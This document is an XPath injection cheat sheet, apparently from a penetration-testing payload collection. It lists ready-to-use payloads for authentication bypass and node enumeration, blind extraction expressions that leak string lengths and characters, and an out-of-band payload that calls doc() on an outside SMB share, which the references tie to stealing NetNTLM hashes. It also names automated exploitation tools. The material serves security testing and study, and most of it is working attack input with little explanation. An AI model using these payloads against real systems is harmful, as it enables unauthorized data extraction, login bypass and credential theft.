XPATH injection

> XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

Summary

Exploitation

Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"`

```
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c
```

Blind Exploitation

1. Size of a string

    ```
    and string-length(account)=SIZE_INT
    ```

2. Extract a character

    ```
    substring(//user[userid=5]/username,2,1)=CHAR_HERE
    substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
    ```

Out Of Band Exploitation

```
http://example.com/?title=Foundation&type=*&rent_days=* and
doc('//10.10.10.10/SHARE')
```

Tools

- xcat - Automate XPath injection attacks to retrieve documents
- xxxpwn - Advanced XPath Injection Tool
- xxxpwn_smart - A fork of xxxpwn using predictive text
- xpath-blind-explorer
- XmlChor - Xpath injection exploitation tool

References

- OWASP XPATH Injection
- Places of Interest in Stealing NetNTLM Hashes - Osanda Malith Jayathissa - March 24, 2017